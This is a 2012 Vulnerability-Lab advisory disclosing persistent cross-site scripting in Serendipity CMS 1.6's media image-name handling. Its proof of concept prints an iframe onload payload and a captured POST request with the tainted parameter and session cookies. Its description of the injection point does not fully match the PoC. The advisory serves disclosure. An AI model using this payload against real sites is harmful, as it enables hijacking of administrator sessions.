Serendipity CMS 1.6 Cross Site Scripting

`Title:  
======  
Serendipity v1.6 CMS - Multiple Web Vulnerabilities  
  
  
Date:  
=====  
2012-05-05  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=535  
  
  
VL-ID:  
=====  
535  
  
  
Common Vulnerability Scoring System:  
====================================  
5  
  
  
Introduction:  
=============  
Serendipity is a weblog/blog system, implemented with PHP. It is standards compliant, feature rich   
and open source (BSD License). Serendipity is constantly under active development, with a team of   
talented developers trying to make the best PHP powered blog on the net. Serendipity has so far   
also proven 100% PHP5 compatible. Serendipity is a PHP-powered weblog application which gives the   
user an easy way to maintain an online diary, weblog or even a complete homepage. While the default   
package is designed for the casual blogger, Serendipity offers a flexible, expandable and easy-to-use   
framework with the power for professional applications.  
  
(Copy of the Vendor Homepage: http://www.s9y.org )  
  
  
Abstract:  
=========  
A Vulnerability Laboratory researcher discovered multiple web vulnerabilities in Serendipity v1.6 Content Management System.  
  
  
Report-Timeline:  
================  
2012-05-05: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Medium  
  
  
Details:  
========  
Multiple persistent input validation vulnerabilities are detected in Serendipity v1.6 Content Management System. The bugs   
allow remote attackers to implement/inject malicious script code on the application side (persistent). Successful exploitation   
of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation. Exploitation requires   
low user inter action. Attackers can inject malicious strings as author name to execute them when an admin is processing to preview, review   
or manage the listing of users. The bug is located on application side & the execution is persistent out of the user management web   
application context.  
  
Vulnerable Module(s):  
[+] Media - Image Name & Display  
  
Picture(s):  
../1.png  
../2.png  
  
  
Proof of Concept:  
=================  
The vulnerability can be exploited by remote attackers with low required user inter action. For demonstration or reproduce ..  
  
Vulnerable: http://127.0.0.1:8080/serendipity/serendipity_admin.php?serendipity[adminModule]=category&serendipity[adminAction]=new  
Affected: http://127.0.0.1:8080/serendipity/a  
  
Review: Image Name Display - Media  
<ul><li><div class="image_add"><b>Adding image...</b></div></li><li>File was not located on the remote   
server, are you sure the URL: <b>"><iframe src="a" onload='alert("VL")' <<="" b=""> is correct?</li></ul></div>  
  
<!-- EXTERNAL MEDIA END -->  
  
</div>  
</body>  
</html>  
</iframe></b></li></ul>  
  
  
POST: IMAGE UPLOAD + NAME  
  
serendipity[old_session]=1vspimicug4mg0glab25l15q92;  
  
serendipity[author_token]=4732db2a5cc1ee1b1fa39f2fd010a417e0d2d87e;  
  
serendipity[userDefLang]=en;  
serendipity[sortorder_perpage]=;  
  
serendipity[sortorder_order]=;  
  
serendipity[sortorder_ordermode]=;  
  
serendipity[only_path]=iframesrcaonloadalertVL; <=  
serendipity[only_filename]=;  
  
serendipity[entrylist_filter_author]=;  
  
serendipity[entrylist_filter_category]=;  
  
serendipity[entrylist_filter_isdraft]=;  
  
serendipity[entrylist_sort_perPage]=;  
  
serendipity[entrylist_sort_ordermode]=;  
  
serendipity[entrylist_sort_order]=;  
  
serendipity[addmedia_directory]=;  
  
__utma=87180614.499031553.1335326742.1335427622.1335434663.3;  
  
__utmc=87180614;  
__utmz=87180614.1335326742.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);  
__gads=ID=4edf2e1e70d6571e:T=1335326758:S=ALNI_MZ40f1i0Ac4MSfN7hpqBqzaNtJIlA;  
  
gs_u=1661731922:3115:9169:1335436134683;  
  
__utmb=87180614.4.10.1335434663;  
LThttpxxxcomlifetype=e1c0opti2n6u8apo30qhgrrdq2;  
PHPSESSID=p4gs3t31a4bvjnsibk7284mhv2;  
s9y_6ee12d7870b99d9e22c04f0f96d39992=1vspimicug4mg0glab25l15q92  
  
  
  
Risk:  
=====  
The security risk of the persistent input validation vulnerability are estimated as medium.  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected])  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply.  
  
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Contact: [email protected] - [email protected] - irc.vulnerability-lab.com  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of   
other media, are reserved by Vulnerability-Lab Research Team or its suppliers.  
  
Copyright © 2012 Vulnerability-Lab  
  
  
  
  
--   
VULNERABILITY RESEARCH LABORATORY TEAM  
Website: www.vulnerability-lab.com  
Mail: [email protected]  
  
`